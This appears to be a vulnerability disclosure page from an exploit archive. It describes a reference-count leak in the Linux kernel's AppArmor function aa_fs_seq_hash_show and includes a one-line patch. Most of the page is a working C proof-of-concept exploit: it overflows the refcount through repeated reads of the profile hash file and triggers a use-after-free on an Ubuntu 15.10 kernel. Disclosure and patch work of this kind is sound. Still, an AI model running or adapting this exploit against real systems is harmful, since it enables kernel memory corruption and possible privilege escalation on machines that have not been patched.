扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 |
/* There's a reference count leak in aa_fs_seq_hash_show that can be used to overflow the reference counter and trigger a kernel use-after-free static int aa_fs_seq_hash_show(struct seq_file *seq, void *v) { struct aa_replacedby *r = seq->private; struct aa_profile *profile = aa_get_profile_rcu(&r->profile); // <--- takes a reference on profile unsigned int i, size = aa_hash_size(); if (profile->hash) { for (i = 0; i < size; i++) seq_printf(seq, "%.2x", profile->hash[i]); seq_puts(seq, "\n"); } return 0; } // <-- no reference dropped See attached for a PoC that triggers a use-after-free on an aa_label object on Ubuntu 15.10 with the latest 4.2.0.35 kernel; the Ubuntu kernel appears to use an older version of AppArmor prior to some refactoring, but the same issue is present. static int aa_fs_seq_hash_show(struct seq_file *seq, void *v) { struct aa_replacedby *r = seq->private; struct aa_label *label = aa_get_label_rcu(&r->label); // <--- takes a reference on label struct aa_profile *profile = labels_profile(label); unsigned int i, size = aa_hash_size(); if (profile->hash) { for (i = 0; i < size; i++) seq_printf(seq, "%.2x", profile->hash[i]); seq_puts(seq, "\n"); } return 0; } // <--- no reference dropped I noticed in reproducing this issue that it appears that there has been a patch applied to the very latest Ubuntu kernel shipped in 16.04 that fixes this that hasn't been upstreamed or backported. The fix is just to correctly drop the acquired reference. index ad4fa49..798d492 100644 --- a/security/apparmor/apparmorfs.c +++ b/security/apparmor/apparmorfs.c @@ -331,6 +331,7 @@ static int aa_fs_seq_hash_show(struct seq_file *seq, void *v) seq_printf(seq, "%.2x", profile->hash[i]); seq_puts(seq, "\n"); } + aa_put_profile(profile); return 0; } */ #include <unistd.h> #include <fcntl.h> #include <keyutils.h> #include <err.h> #include <stdint.h> #include <stdlib.h> #include <stdio.h> #include <sys/apparmor.h> #define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2" #define HASH_PATH BASE_PATH "/sha1" void add_references(int hash_fd, int refs_to_add) { char buf[1]; for (int i = 0; i < refs_to_add; ++i) { pread(hash_fd, buf, sizeof(buf), 0); } } int main(int argc, char** argv) { int hash_fd; int fds[0x100]; pid_t pid; hash_fd = open(HASH_PATH, O_RDONLY); if (hash_fd < 0) { err(-1, "failed to open HASH_PATH"); } fprintf(stderr, "[*] forking to speed up initial reference count increments\n"); for (int i = 0; i < 0xf; ++i) { if (!fork()) { add_references(hash_fd, 0x11111100); exit(0); } } for (int i = 0; i < 0xf; ++i) { int status; wait(&status); } fprintf(stderr, "[*] initial reference count increase finished\n"); fprintf(stderr, "[*] entering profile\n"); aa_change_profile("/sbin/dhclient"); pid = fork(); if (pid) { for (int i = 0; i < 0x100; ++i) { fds[i] = open("/proc/self/net/arp", O_RDONLY); } } else { add_references(hash_fd, 0x100); exit(0); } fprintf(stderr, "[*] past the point of no return"); sleep(5); for (int i = 0; i < 0x100; ++i) { close(fds[i]); } } |
体验盒子
